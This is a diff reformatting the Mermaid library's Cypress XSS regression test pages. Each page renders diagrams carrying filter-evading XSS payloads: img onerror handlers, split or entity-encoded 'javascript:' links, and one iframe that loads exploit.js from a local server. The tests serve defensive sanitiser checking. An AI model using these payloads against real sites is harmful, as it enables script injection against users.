+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -91,16 +97,16 @@
 class Shape{
     <<<img/src='1'/`;
 
-// //   var diagram = "stateDiagram-v2\n";
-diagram += `onerror=xssAttack()>>>
+      // //   var diagram = "stateDiagram-v2\n";
+      diagram += `onerror=xssAttack()>>>
 }`;
-// diagram += '//via.placeholder.com/64\' width=64 />"]';
-// console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      // diagram += '//via.placeholder.com/64\' width=64 />"]';
+      // console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss20.html b/cypress/platform/xss20.html
index b782d52f3..7b8aa9f85 100644
--- a/cypress/platform/xss20.html
+++ b/cypress/platform/xss20.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,18 +93,18 @@
         throw new Error('XSS Succeeded');
       }
 
-//       var diagram = `  graph TD
-// A --> B["&lt;a href='javasc`;
-// diagram += `ript#colon;xssAttack()'&gt;AAA&lt;/a&gt;"]`;
+      //       var diagram = `  graph TD
+      // A --> B["&lt;a href='javasc`;
+      // diagram += `ript#colon;xssAttack()'&gt;AAA&lt;/a&gt;"]`;
       var diagram = `  graph TD
 A --> B["<a href='javasc`;
-diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
-// diagram += '//via.placeholder.com/64\' width=64 />"]';
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  // console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
+      // diagram += '//via.placeholder.com/64\' width=64 />"]';
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        // console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss21.html b/cypress/platform/xss21.html
index ed243441f..e65a357ee 100644
--- a/cypress/platform/xss21.html
+++ b/cypress/platform/xss21.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,18 +93,18 @@
         throw new Error('XSS Succeeded');
       }
 
-//       var diagram = `  graph TD
-// A --> B["&lt;a href='javasc`;
-// diagram += `ript#colon;xssAttack()'&gt;AAA&lt;/a&gt;"]`;
+      //       var diagram = `  graph TD
+      // A --> B["&lt;a href='javasc`;
+      // diagram += `ript#colon;xssAttack()'&gt;AAA&lt;/a&gt;"]`;
       var diagram = `  graph TD
 A --> B["<a href='javasc`;
-diagram += `ript#9;t#colon;xssAttack()'>AAA</a>"]`;
-// diagram += '//via.placeholder.com/64\' width=64 />"]';
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      diagram += `ript#9;t#colon;xssAttack()'>AAA</a>"]`;
+      // diagram += '//via.placeholder.com/64\' width=64 />"]';
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss4.html b/cypress/platform/xss4.html
index 0a876226a..b6e36edcd 100644
--- a/cypress/platform/xss4.html
+++ b/cypress/platform/xss4.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: false,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,23 +82,22 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
 
       var diagram = '%%{init: {"flowchart": {"htmlLabels": "true"}} }%%\n';
-diagram += 'flowchart\n';
-diagram += 'A["<ifra';
-diagram += "me srcdoc='<scrip";
-diagram += 't src=http://localhost:9000/exploit.js>';
-diagram += '</scr';
-diagram += 'ipt>\'></iframe>"]';
+      diagram += 'flowchart\n';
+      diagram += 'A["<ifra';
+      diagram += "me srcdoc='<scrip";
+      diagram += 't src=http://localhost:9000/exploit.js>';
+      diagram += '</scr';
+      diagram += 'ipt>\'></iframe>"]';
 
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  document.querySelector('#res').innerHTML = res;
-});
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
-
diff --git a/cypress/platform/xss5.html b/cypress/platform/xss5.html
index 86d45eeec..bf8943eee 100644
--- a/cypress/platform/xss5.html
+++ b/cypress/platform/xss5.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,16 +93,16 @@
         throw new Error('XSS Succeeded');
       }
       var diagram = 'graph LR\n';
-diagram += 'B-->D("<img onerror=location=`java';
-// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
-diagram += 'script\x3a;xssAttack\u0028\u0029` src=x>");\n';
+      diagram += 'B-->D("<img onerror=location=`java';
+      // diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
+      diagram += 'script\x3a;xssAttack\u0028\u0029` src=x>");\n';
 
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss6.html b/cypress/platform/xss6.html
index 32eca4313..0c70133b1 100644
--- a/cypress/platform/xss6.html
+++ b/cypress/platform/xss6.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,14 +93,14 @@
         throw new Error('XSS Succeeded');
       }
       var diagram = 'graph LR\n';
-diagram += 'A(<img/src/onerror=xssAttack`1`>)';
-// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      diagram += 'A(<img/src/onerror=xssAttack`1`>)';
+      // diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss7.html b/cypress/platform/xss7.html
index 51fcb3ddf..667a77d33 100644
--- a/cypress/platform/xss7.html
+++ b/cypress/platform/xss7.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,16 +93,16 @@
         throw new Error('XSS Succeeded');
       }
       var diagram = 'graph LR\n';
-diagram += " B(<a href='<";
-diagram += 'script></';
-diagram += "script>Javascript:xssAttack`1`'>Click)";
-// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      diagram += " B(<a href='<";
+      diagram += 'script></';
+      diagram += "script>Javascript:xssAttack`1`'>Click)";
+      // diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss8.html b/cypress/platform/xss8.html
index 97709ffc6..64211c778 100644
--- a/cypress/platform/xss8.html
+++ b/cypress/platform/xss8.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,15 +93,15 @@
         throw new Error('XSS Succeeded');
       }
 
-var diagram = 'stateDiagram-v2\n';
-diagram += "<img/src='1'/onerror=xssAttack()> --> B";
-// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      var diagram = 'stateDiagram-v2\n';
+      diagram += "<img/src='1'/onerror=xssAttack()> --> B";
+      // diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
diff --git a/cypress/platform/xss9.html b/cypress/platform/xss9.html
index 7d06e988e..09c1d7f20 100644
--- a/cypress/platform/xss9.html
+++ b/cypress/platform/xss9.html
@@ -1,20 +1,25 @@
 <html>
   <head>
+    <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
+    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
     <link
-      href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
+      rel="stylesheet"
+      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
+    />
+    <link
+      href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
       rel="stylesheet"
     />
-    <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
-    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-    <link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
     <style>
       body {
         /* background: rgb(221, 208, 208); */
         /* background:#333; */
         font-family: 'Arial';
         /* font-size: 18px !important; */
-        }
-      h1 { color: grey;}
+      }
+      h1 {
+        color: grey;
+      }
       .mermaid2 {
         display: none;
       }
@@ -23,9 +28,9 @@
       }
       .malware {
         position: fixed;
-        bottom:0;
-        left:0;
-        right:0;
+        bottom: 0;
+        left: 0;
+        right: 0;
         height: 150px;
         background: red;
         color: black;
@@ -43,7 +48,8 @@
     <div class="flex">
       <div id="diagram" class="mermaid"></div>
       <div id="res" class=""></div>
-  <script src="./mermaid.js"></script>
+    </div>
+    <script src="./mermaid.js"></script>
     <script>
       mermaid.parseError = function (err, hash) {
         // console.error('Mermaid error: ', err);
@@ -59,8 +65,8 @@
         flowchart: {
           // defaultRenderer: 'dagre-wrapper',
           nodeSpacing: 10,
-    curve: 'cardinal',
-    htmlLabels: true,
+          curve: 'cardinal',
+          htmlLabels: true,
         },
         htmlLabels: true,
         // gantt: { axisFormat: '%m/%d/%Y' },
@@ -76,8 +82,8 @@
         // themeVariables: {relationLabelColor: 'red'}
       });
       function callback() {
-  alert('It worked');
-}
+        alert('It worked');
+      }
       function xssAttack() {
         const div = document.createElement('div');
         div.id = 'the-malware';
@@ -87,15 +93,15 @@
         throw new Error('XSS Succeeded');
       }
 
-var diagram = 'stateDiagram-v2\n';
-diagram += "<img/src='1'/onerror=xssAttack()> --> B";
-// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
-console.log(diagram);
-// document.querySelector('#diagram').innerHTML = diagram;
-mermaid.render('diagram', diagram, (res) => {
-  console.log(res);
-  document.querySelector('#res').innerHTML = res;
-});
+      var diagram = 'stateDiagram-v2\n';
+      diagram += "<img/src='1'/onerror=xssAttack()> --> B";
+      // diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
+      console.log(diagram);
+      // document.querySelector('#diagram').innerHTML = diagram;
+      mermaid.render('diagram', diagram, (res) => {
+        console.log(res);
+        document.querySelector('#res').innerHTML = res;
+      });
     </script>
   </body>
 </html>
